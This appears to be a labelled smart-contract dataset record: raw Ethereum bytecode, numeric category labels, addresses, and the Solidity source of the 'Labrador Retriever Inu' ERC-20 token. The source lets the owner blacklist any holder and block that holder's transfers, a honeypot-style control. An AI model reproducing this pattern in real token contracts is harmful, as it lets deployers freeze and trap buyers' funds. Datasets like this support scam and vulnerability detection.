ffffffffffffff1684611f3c565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613117959493929190614225565b600060405180830381600087803b15801561313157600080fd5b505af1158015613145573d6000803e3d6000fd5b505050505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156131bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131b49061414a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561322d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161322490613f6a565b60405180910390fd5b613238838383613625565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156132be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016132b59061406a565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546133519190614377565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516133b5919061420a565b60405180910390a36133c884848461362a565b50505050565b60006133d930611175565b905060006018546016546017546133f09190614377565b6133fa9190614377565b9050600082148061340b5750600081145b156134175750506135f7565b600d5482111561342757600d5491505b60006002826017548561343a91906143fe565b61344491906143cd565b61344e91906143cd565b90506000613465828561362f90919063ffffffff16565b9050600047905061347582612efb565b600061348a824761362f90919063ffffffff16565b905060006134b5866134a7601654856135f990919063ffffffff16565b61360f90919063ffffffff16565b905060006134e0876134d2601854866135f990919063ffffffff16565b61360f90919063ffffffff16565b905060008183856134f19190614458565b6134fb9190614458565b9050600060178190555060006016819055506000601881905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6135648486612e4490919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561358f573d6000803e3d6000fd5b506000871180156135a05750600081115b156135ed576135af8782613645565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb56186826017546040516135e49392919061427f565b60405180910390a15b5050505050505050505b565b6000818361360791906143fe565b905092915050565b6000818361361d91906143cd565b905092915050565b505050565b505050565b6000818361363d9190614458565b905092915050565b61367230600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611f3c565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230856000806136be61146f565b426040518863ffffffff1660e01b81526004016136e096959493929190613ecc565b6060604051808303818588803b1580156136f957600080fd5b505af115801561370d573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906137329190613a76565b5050505050565b600061374c613747846142f6565b6142d1565b9050808382526020820190508285602086028201111561376f5761376e6146c2565b5b60005b8581101561379f578161378588826137a9565b845260208401935060208301925050600181019050613772565b5050509392505050565b6000813590506137b881614ceb565b92915050565b6000815190506137cd81614ceb565b92915050565b600082601f8301126137e8576137e76146bd565b5b81356137f8848260208601613739565b91505092915050565b60008135905061381081614d02565b92915050565b60008135905061382581614d19565b92915050565b60008151905061383a81614d19565b92915050565b600060208284031215613856576138556146cc565b5b6000613864848285016137a9565b91505092915050565b600060208284031215613883576138826146cc565b5b6000613891848285016137be565b91505092915050565b600080604083850312156138b1576138b06146cc565b5b60006138bf858286016137a9565b92505060206138d0858286016137a9565b9150509250929050565b6000806000606084860312156138f3576138f26146cc565b5b6000613901868287016137a9565b9350506020613912868287016137a9565b925050604061392386828701613816565b9150509250925092565b60008060408385031215613944576139436146cc565b5b6000613952858286016137a9565b925050602061396385828601613801565b9150509250929050565b60008060408385031215613984576139836146cc565b5b6000613992858286016137a9565b92505060206139a385828601613816565b9150509250929050565b6000602082840312156139c3576139c26146cc565b5b600082013567ffffffffffffffff8111156139e1576139e06146c7565b5b6139ed848285016137d3565b91505092915050565b600060208284031215613a0c57613a0b6146cc565b5b6000613a1a84828501613816565b91505092915050565b600080600060608486031215613a3c57613a3b6146cc565b5b6000613a4a86828701613816565b9350506020613a5b86828701613816565b9250506040613a6c86828701613816565b9150509250925092565b600080600060608486031215613a8f57613a8e6146cc565b5b6000613a9d8682870161382b565b9350506020613aae8682870161382b565b9250506040613abf8682870161382b565b9150509250925092565b6000613ad58383613ae1565b60208301905092915050565b613aea8161448c565b82525050565b613af98161448c565b82525050565b6000613b0a82614332565b613b148185614355565b9350613b1f83614322565b8060005b83811015613b50578151613b378882613ac9565b9750613b4283614348565b925050600181019050613b23565b5085935050505092915050565b613b668161449e565b82525050565b613b75816144e1565b82525050565b6000613b868261433d565b613b908185614366565b9350613ba08185602086016144f3565b613ba9816146d1565b840191505092915050565b6000613bc1602383614366565b9150613bcc826146e2565b604082019050919050565b6000613be4601d83614366565b9150613bef82614731565b602082019050919050565b6000613c07601683614366565b9150613c128261475a565b602082019050919050565b6000613c2a602683614366565b9150613c3582614783565b604082019050919050565b6000613c4d602283614366565b9150613c58826147d2565b604082019050919050565b6000613c70602483614366565b9150613c7b82614821565b604082019050919050565b6000613c93603983614366565b9150613c9e82614870565b604082019050919050565b6000613cb6601d83614366565b9150613cc1826148bf565b602082019050919050565b6000613cd9602683614366565b9150613ce4826148e8565b604082019050919050565b6000613cfc603683614366565b9150613d0782614937565b604082019050919050565b6000613d1f603583614366565b9150613d2a82614986565b604082019050919050565b6000613d42603483614366565b9150613d4d826149d5565b604082019050919050565b6000613d65603583614366565b9150613d7082614a24565b604082019050919050565b6000613d88604983614366565b9150613d9382614a73565b606082019050919050565b6000613dab602083614366565b9150613db682614ae8565b602082019050919050565b6000613dce602583614366565b9150613dd982614b11565b604082019050919050565b6000613df1604d83614366565b9150613dfc82614b60565b606082019050919050565b6000613e14602483614366565b9150613e1f82614bd5565b604082019050919050565b6000613e37601383614366565b9150613e4282614c24565b602082019050919050565b6000613e5a602583614366565b9150613e6582614c4d565b604082019050919050565b6000613e7d602f83614366565b9150613e8882614c9c565b604082019050919050565b613e9c816144ca565b82525050565b613eab816144d4565b82525050565b6000602082019050613ec66000830184613af0565b92915050565b600060c082019050613ee16000830189613af0565b613eee6020830188613e93565b613efb6040830187613b6c565b613f086060830186613b6c565b613f156080830185613af0565b613f2260a0830184613e93565b979650505050505050565b6000602082019050613f426000830184613b5d565b92915050565b60006020820190508181036000830152613f628184613b7b565b905092915050565b60006020820190508181036000830152613f8381613bb4565b9050919050565b60006020820190508181036000830152613fa381613bd7565b9050919050565b60006020820190508181036000830152613fc381613bfa565b9050919050565b60006020820190508181036000830152613fe381613c1d565b9050919050565b6000602082019050818103600083015261400381613c40565b9050919050565b6000602082019050818103600083015261402381613c63565b9050919050565b6000602082019050818103600083015261404381613c86565b9050919050565b6000602082019050818103600083015261406381613ca9565b9050919050565b6000602082019050818103600083015261408381613ccc565b9050919050565b600060208201905081810360008301526140a381613cef565b9050919050565b600060208201905081810360008301526140c381613d12565b9050919050565b600060208201905081810360008301526140e381613d35565b9050919050565b6000602082019050818103600083015261410381613d58565b9050919050565b6000602082019050818103600083015261412381613d7b565b9050919050565b6000602082019050818103600083015261414381613d9e565b9050919050565b6000602082019050818103600083015261416381613dc1565b9050919050565b6000602082019050818103600083015261418381613de4565b9050919050565b600060208201905081810360008301526141a381613e07565b9050919050565b600060208201905081810360008301526141c381613e2a565b9050919050565b600060208201905081810360008301526141e381613e4d565b9050919050565b6000602082019050818103600083015261420381613e70565b9050919050565b600060208201905061421f6000830184613e93565b92915050565b600060a08201905061423a6000830188613e93565b6142476020830187613b6c565b81810360408301526142598186613aff565b90506142686060830185613af0565b6142756080830184613e93565b9695505050505050565b60006060820190506142946000830186613e93565b6142a16020830185613e93565b6142ae6040830184613e93565b949350505050565b60006020820190506142cb6000830184613ea2565b92915050565b60006142db6142ec565b90506142e78282614558565b919050565b6000604051905090565b600067ffffffffffffffff8211156143115761431061468e565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000614382826144ca565b915061438d836144ca565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156143c2576143c16145d2565b5b828201905092915050565b60006143d8826144ca565b91506143e3836144ca565b9250826143f3576143f2614601565b5b828204905092915050565b6000614409826144ca565b9150614414836144ca565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561444d5761444c6145d2565b5b828202905092915050565b6000614463826144ca565b915061446e836144ca565b925082821015614481576144806145d2565b5b828203905092915050565b6000614497826144aa565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006144ec826144ca565b9050919050565b60005b838110156145115780820151818401526020810190506144f6565b83811115614520576000848401525b50505050565b6000600282049050600182168061453e57607f821691505b6020821081141561455257614551614630565b5b50919050565b614561826146d1565b810181811067ffffffffffffffff821117156145805761457f61468e565b5b80604052505050565b6000614594826144ca565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156145c7576145c66145d2565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4d757374206b656570206665657320617420313025206f72206c657373000000600082015250565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060008201527f302e352500000000000000000000000000000000000000000000000000000000602082015250565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b7f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60008201527f20302e3030312520746f74616c20737570706c792e0000000000000000000000602082015250565b7f5377617020616d6f756e742063616e6e6f74206265206869676865722074686160008201527f6e20302e352520746f74616c20737570706c792e000000000000000000000000602082015250565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f596f7572206164647265737320686173206265656e206d61726b65642061732060008201527f6120736e697065722c20796f752061726520756e61626c6520746f207472616e60208201527f73666572206f7220737761702e00000000000000000000000000000000000000604082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b7f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060008201527f6c6f776572207468616e20302e31250000000000000000000000000000000000602082015250565b614cf48161448c565b8114614cff57600080fd5b50565b614d0b8161449e565b8114614d1657600080fd5b50565b614d22816144ca565b8114614d2d57600080fd5b5056fea26469706673582212200f52f689a154ad5013258313be7c3ad4c3c15056f4fd5dac7a2efa641e3969f064736f6c63430008070033
[ 21, 4, 7, 13, 5 ]
0xf22777a8a943156e21ee1f05153b7ae312f9aff9
// SPDX-License-Identifier: UNLICENSED pragma solidity >=0.5.0 <0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } library SafeMath { function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function safeSub(uint256 a, uint256 b) internal pure returns (uint256) { return safeSub(a, b, "SafeMath: subtraction overflow"); } function safeSub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract LabradorRetrieverInu is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => bool) private _blacklist; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; uint256 private _amount; string private _name; string private _symbol; uint8 private _decimals; address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event PutToBlacklist(address indexed target, bool indexed status); constructor () { _name = "Labrador Retriever Inu"; _symbol = "LRRINU"; _amount = 2 * 10**12 * 10**18; _decimals = 18; address msgSender = _msgSender(); _owner = msgSender; _mint(msgSender, _amount); emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function isBlackList(address account) public view returns (bool) { return _blacklist[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address funder, address spender) public view virtual override returns (uint256) { return _allowances[funder][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].safeSub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function blacklistTarget(address payable targetaddress) public onlyOwner returns (bool){ require(targetaddress != address(0), "ERC20: Can't blacklist zero address"); require(_blacklist[targetaddress] == false, "ERC20: Address already in blacklist"); _blacklist[targetaddress] = true; emit PutToBlacklist(targetaddress, true); return true; } function unblacklistTarget(address payable targetaddress) public onlyOwner returns (bool){ require(targetaddress != address(0), "ERC20: Can't blacklist zero address"); require(_blacklist[targetaddress] == true, "ERC20: Address not blacklisted"); _blacklist[targetaddress] = false; emit PutToBlacklist(targetaddress, false); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(_blacklist[sender] == false, "ERC20: sender address "); _balances[sender] = _balances[sender].safeSub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].safeAdd(amount); emit Transfer(sender, recipient, amount); } function _approve(address funder, address spender, uint256 amount) internal virtual { require(funder != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[funder][spender] = amount; emit Approval(funder, spender, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.safeAdd(amount); _balances[account] = _balances[account].safeAdd(amount); emit Transfer(address(0), account, amount); } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063a9059cbb11610066578063a9059cbb14610471578063b36d6919146104d5578063dd62ed3e1461052f578063f2fde38b146105a7576100f5565b8063715018a614610356578063787f0233146103605780638da5cb5b146103ba57806395d89b41146103ee576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce5671461028357806352a97d52146102a457806370a08231146102fe576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b6101026105eb565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061068d565b60405180821515815260200191505060405180910390f35b6101e96106ab565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106b5565b60405180821515815260200191505060405180910390f35b61028b61078e565b604051808260ff16815260200191505060405180910390f35b6102e6600480360360208110156102ba57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506107a5565b60405180821515815260200191505060405180910390f35b6103406004803603602081101561031457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a47565b6040518082815260200191505060405180910390f35b61035e610a8f565b005b6103a26004803603602081101561037657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c1a565b60405180821515815260200191505060405180910390f35b6103c2610eda565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103f6610f04565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561043657808201518184015260208101905061041b565b50505050905090810190601f1680156104635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104bd6004803603604081101561048757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fa6565b60405180821515815260200191505060405180910390f35b610517600480360360208110156104eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fc4565b60405180821515815260200191505060405180910390f35b6105916004803603604081101561054557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061101a565b6040518082815260200191505060405180910390f35b6105e9600480360360208110156105bd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110a1565b005b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106835780601f1061065857610100808354040283529160200191610683565b820191906000526020600020905b81548152906001019060200180831161066657829003601f168201915b5050505050905090565b60006106a161069a611339565b8484611341565b6001905092915050565b6000600354905090565b60006106c2848484611538565b610783846106ce611339565b61077e85604051806060016040528060288152602001611a2960289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610734611339565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118b49092919063ffffffff16565b611341565b600190509392505050565b6000600760009054906101000a900460ff16905090565b60006107af611339565b73ffffffffffffffffffffffffffffffffffffffff16600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610871576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156108f7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611a9a6023913960400191505060405180910390fd5b60001515600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515146109a0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806119986023913960400191505060405180910390fd5b60018060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600115158273ffffffffffffffffffffffffffffffffffffffff167f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c260405160405180910390a360019050919050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610a97611339565b73ffffffffffffffffffffffffffffffffffffffff16600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b59576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600760016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000610c24611339565b73ffffffffffffffffffffffffffffffffffffffff16600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ce6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611a9a6023913960400191505060405180910390fd5b60011515600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514610e32576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f45524332303a2041646472657373206e6f7420626c61636b6c6973746564000081525060200191505060405180910390fd5b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600015158273ffffffffffffffffffffffffffffffffffffffff167f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c260405160405180910390a360019050919050565b6000600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f9c5780601f10610f7157610100808354040283529160200191610f9c565b820191906000526020600020905b815481529060010190602001808311610f7f57829003601f168201915b5050505050905090565b6000610fba610fb3611339565b8484611538565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6110a9611339565b73ffffffffffffffffffffffffffffffffffffffff16600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461116b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156111f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806119bb6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600760016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008082840190508381101561132f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113c7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611a766024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561144d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806119e16022913960400191505060405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156115be576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611a516025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611644576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806119756023913960400191505060405180910390fd5b60001515600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151461170a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f45524332303a2073656e6465722061646472657373200000000000000000000081525060200191505060405180910390fd5b61177581604051806060016040528060268152602001611a03602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118b49092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611808816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112b190919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611961576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561192657808201518184015260208101905061190b565b50505050905090810190601f1680156119535780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a204164647265737320616c726561647920696e20626c61636b6c6973744f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2043616e277420626c61636b6c697374207a65726f2061646472657373a2646970667358221220810b127a834ab64522f78fb673b5b3c33a91bb21b059e5a1c24283f4ab7bb28764736f6c63430007030033
[ 38 ]
0xF227c0CEDC16A14493Cdc9dFc6b04AA6E7d31c97
